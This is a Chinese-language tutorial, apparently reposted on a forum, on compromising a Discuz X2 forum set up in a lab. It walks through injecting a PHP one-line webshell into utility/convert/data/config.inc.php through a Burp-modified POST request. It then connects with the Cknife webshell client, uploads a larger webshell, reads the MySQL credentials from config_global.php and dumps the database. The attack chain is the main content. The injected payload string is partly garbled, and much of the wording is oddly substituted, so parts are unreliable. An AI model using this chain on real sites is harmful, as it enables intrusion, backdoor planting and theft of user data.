20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)
1 快速搭建discuz论坛1.1 攻击思绪
想要拿下一台主机A的权限:
(1)了解一下这个服务器:端口,服务器版本,操纵系统版本。找毛病
(2)拿到对A有肯定权限的身份。如果对方是一个web服务器,就利用对方网站应用步伐的毛病,上传webshell然后提权
(3)传上去后,得到Apache用户普通权限,再提权成root
1.2 快速搭建实行情况
搭建一个LAMP情况。摆设带有毛病的discuz论坛
1.2.1,毛病概述
这毛病出现在一个DZX系列自带的转换工具内里
毛病路径:utility/convert/data/config.inc.php
毛病发生的缘故原由是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马步伐。(全部做开发的东西从外网上获取数据时,不知此数据是否危险都要做过滤,但许多网站开发职员不知道做这一步过滤)
触发毛病的过程:
(1)在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
(2)利用utility/convert/index.php进行版本转换时,会主动创建utility/convert/data/config.inc.php文件(utility 效用)
(3)config.inc.php文件(这个新建的文件)没有做过滤,黑客可以利用post方法对config.inc.php注入木马步伐
渗透思绪:
burp suite 可以抓包,和wireshark一样,还能改包内的内容
https://img-blog.csdnimg.cn/direct/37187348d49c4bbc9cca3aafb85486f4.png
1.2.2,在centos7虚拟机上搭建LAMP情况
# yum -y install httpd mariadb-server mariadb php php-mysql #安装LAMP环境
参数:mariadb-server 这是mysql数据库的一个分支
mariadb就是它的客户端了
php-mysql 是专门用来连接mariadb 的一个工具
#systemctl start httpd //启动Apache
#systemctl start mariadb //启动数据库
#mysqladmin -u root password “电脑密码” //给数据库配个密码
#mysql -u root -p密码 //登录数据库
1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下
此处利用xshell毗连虚拟机,注意利用桥接模式且利用路由器的网
上传之后利用
#rz //此处使用命令上传(因不含命令,我变使用ftp上传)
# unzip Discuz_X2_SC_UTF8_0628.zip //直接解压缩到当前目录下(也有可能未找到该命令,则yum -y install zip unzip来下载此命令)
# ls
//此时解压出很多东西,若搭建网站需要两个,一个upload,一个utility(漏洞就在此目录下),
# mv upload/* /var/www/html/ //将upload下的所有东西放到网站根目录
# mv utility/ /var/www/html/ //将utility(可以理解成一个工具,比如说版本更新等工具,无*)也传到此目录下
# ls /var/www/html/
admin.phpconfig data home.php misc.php search.phpuc_client
api connect.php favicon.icoindex.php plugin.phpsource uc_server
api.php cp.php forum.php install portal.phpstatic userapp.php
archiver crossdomain.xmlgroup.php member.phprobots.txttemplate utility
# cd /var/www/html/
# ll //进入可查看这些文件的权限,要将其拥有者权限root修改,若不修改,别人是无法上传文件的(如修改自己图像),凭什么能上传自己的头像,因为上传时使用的是Apache的身份,我们的进程就是以Apache进行的(ps -axu | grep apache)
# chown -R apache:apache uc_server/ data/ config/ uc_client/
//修改权限
# chown -R apache:apache utility/convert/data/
//还需要修改data的权限(专门存数据的,临时数据)
# iptables -F
//清空防火墙,不然80端口出不来
# setenforce 0
//确保setlinux关闭,可以用setenforce 0命令执行。 默认的,SELinux禁止网络上对Samba服务器上的共享目录进行写操作,即使你在smb.conf中允许了这项操作。
1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛
安装乐成后刷新一下,或重新进入此IP就出界面了
此网站在内网,放到外网其他人就可以访问了
2 利用kali下burpsuite对discuz后台注入PHP木马
利用kali自带的火狐浏览器访问百度看其可否正常上网,接着在访问网站IP之前,打开burpsuit(是一个抓包工具,抓的是http协议)
(1)在火狐浏览器中要计划一个代理,即在右侧点击preferences属性,拉倒最下方打开setting,选择手动manul proxy configuration
(2)抓包,burpsuit默认启动后,打开proxy选项,点击“intercept is on”,变为“intercept is off”,因为我们要先访问我们的论坛,先关闭拦截,若是全部数据都被拦截了就无法调数据了,所以只拦截末了的哀求,拦截最需要的东西。
(3)浏览器进行操纵抓包,在kali上,打开注入毛病的地方:http://192.168.0.106/utility/convert/
这是discuz产品升级的毛病,随便点击一个页面,点开始弹出领导
注意:在点击开始时会产生标题,所以点击之前,因为走的代理,所以哀求会转给这个代理,所以此处要开启抓包点击intercept is on,此时就开始拦截了,这样当前浏览器全部的http哀求都会被拦截,点击开始,网页不停刷新是因为没有接到哀求
如果之前抓到了别的数据包,需要先点击forward,把之前的http哀求都放行了,然后再访问我们需要访问的毗连(看地址就能看到)。
在burpsuit就会出现下方消息,就能get下方消息(凡是可以get的地方,就要尝试着去注入一句话木马)
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: 192.168.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.106/utility/convert/
Connection: close
Upgrade-Insecure-Requests: 1
此时已经抓取到了http请求接下来要注入木马,怎么注入是不能在此直接修改的需要右击空白处(sent to repeater请求转给中继器),这样整个的数据包就拦截下来了,就可以修改了
接着点击repeater选项,修改request信息,将get请求改为post,因为这个包在自己手里,想怎么改就怎么改。改为下方
修改第一行:
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
为:注意POST后面没有回车键,这里是文本显示自动换行了。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig=aaaa&submit=yes HTTP/1.1
注:这是一个PHP一句话木马加密后的内容。翻译后的内容:
&newconfig;’);//]=aaaa&submit=yes
注:%0a%0d 阿斯克码的回车换行
再转换
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig;’);//]
扩展eval()函数:
Eval函数中的eval是evaluate的简称,这个函数的作用就是把一段字符当做PHP语句来执行,一般情况下不建议使用容易被黑客利用。
Eval(‘echo’hello worrld’;’)等同于(PHP直接执行)下边的代码:
Echo ‘hello world’;在浏览器中输出:hello world
接着点击go(send),返回200k成功,现在已经注入成功,要看木马在哪,打开Linux服务器
下面在Linux中查看注入的木马所在地
# cd /var/www/html/utility/convert/data/
# ls
config.default.phpconfig.inc.php
# ll
总用量 8
-rw-r--r--. 1 apache apache935 6月27 2012 config.default.php
-rw-r--r--. 1 apache apache 1481 11月 15 14:53 config.inc.php
# vi config.inc.php
注意注入的木马是免杀的,一般情况下过滤不出来,一般过滤的是eval这个函数
在这个配置文件中有很多的^M符号
扩展:^M符号
^M字符的来历和作用:在DOS/windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除
%0a%0d 等于\r\n
那么这个一句话木马怎么用(会使用菜刀来用它)
3 利用Cknife “菜刀”上传webshell木马到网站
3.1 在kali上配置java情况
搭建java情况(我们是基于java开发的)
# yum install -y java
//注意我们现在是在此服务器上直接安装中国菜刀的,并不是在kali上安装的
很多人高渗透用的菜刀是windows下的,建议使用Linux下的会更安全一些
自动安装的是openjdk开源的
查看java版本
# java -version
openjdk version "1.8.0_232"
OpenJDK Runtime Environment (build 1.8.0_232-b09)
OpenJDK 64-Bit Server VM (build 25.232-b09, mixed mode)
3.2 利用菜刀毗连discuz论坛上面的PHP后门步伐
接着上传菜刀(cknife.jar)利用ftp即可直接上传到根目录
注意:jar包的获取可看此文章https://www.cnblogs.com/ownhp/p/9094896.html
注意从Github上下载下来的cknife-master需要在myeclipse上运行一下其配置文件才会出现,而且此项目是运行在jdk1.7版本的,所以选好运行情况后,再运行一下,接着导出成可运行的jar包运行在Linux上
# ls
anaconda-ks.cfgCKnife.jarDiscuz_X2_SC_UTF8_0628.zipreadmeupload╦╡├ў.htm
传完东西后运行一下中国菜刀
# java -jar Cknife.jar
接着会出来一个界面,就能右击添加,如果打开程序后,看到是乱码的,我们更换一下皮肤科解决乱码问题
右击添加,会出现添加shell,选择连接即可,地址172.20.10.10/utility/convert/data/config.inc.php,密码就是前面注入程序的‘c’,
脚本类型选择PHP,字符编码选择GB2313,接着点击添加就行了
之后就行了吗,双击出现的地址,看到了什么,看到了所有的文件,接着我们还是在data文件下上传webshell2.php木马,为什么要上传大马,因为这个功能是非常强大的。小马(一句话木马)功能单一只有上传下载功能,而大马功能强大,是可以用任意机器访问此webshell了。
3.3 上传功能更强大的木马文件webshell2.php
注:这里需要上传到Apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为Apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data(此目录下是有Apache权限的)目录下。
https://blog.csdn.net/weixin_45178890/article/details/98121719
此链接上有大小马步伐,通过之前的一句话木马来上传此大马步伐,可以试试。大马步伐已改成“招财猫”。
在菜刀的界面上右击上传我们的大马步伐。这就上传到data文件下了。
3.4 任意呆板访问我们的webshell2.php木马文件
172.20.10.10/utility/convert/data/da.php 在浏览器输入此地址后,接着会要求输入密码这个选项,输入密码之后就能在网站登录别人的后台了,登上后可以管理任何文件
4 利用webshell查察mysql数据库密码并盗取数据库
第四步骤已经链接上了,第五个步骤要用webshell盗取mysql的数据库了,有思绪没,起首要知道数据库密码,在网站的根目录下都有一个config(/var/www/html/config)这样的目录,在这目录下有个config_global.php,全部网站都要毗连数据库,既然毗连数据库那么就有一个配置文件存着mysql的账号和密码。编辑此文件config_global.php,无论是java,python,PHP都有这样的文件,我们明确看到了此文件内的数据库账号和密码,看到很清晰,这样就能连上数据库就能很清晰的看到我们想要的数据了。登录数据库用密码,选择本身想要看到数据库,比方ultrax我们的discuz论坛就在此库中,在这有许多许多的,接着就是脱库(将数据库导出来),可以选择全部的数据库将其导出来,可以选择某个表导出(就是下载到本地)。这个导出功能在视频中有,现在这个大马应该是没有。
有同砚说能不能给提个权注个木马,可以现在的大马就能提权。
到此结束了,我们可以利用Apache用户进行提权操纵。然后我们就有了root权限了。因为大家还不会向里埋后门。
总结
1 快速搭建discuz论坛
2 利用kali下burpsuite对discuz后台注入PHP木马
3 利用cknife “菜刀” 上传webshell 木马到网站
4 利用webshell查察mysql数据库密码并盗取数据库
第一个先搭好论坛,搭好论坛后不是想向论坛注入数据吗,如果正常通过浏览器访问是永久也干不了坏事的,此时需要找个人篡改一下包,所以我的浏览器才需要代理上网,浏览器利用代理上网,全部的数据都交给了代理,那么代理抓到全部的数据后可以篡改你的数据,篡改数据后再将数据进行注入,注入完了后通过菜刀毗连上去,毗连上去后可以上传许多文件,就上传webshell,可以非常方便的看到数据库密码,看到密码后下载数据库是非常轻松的事。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]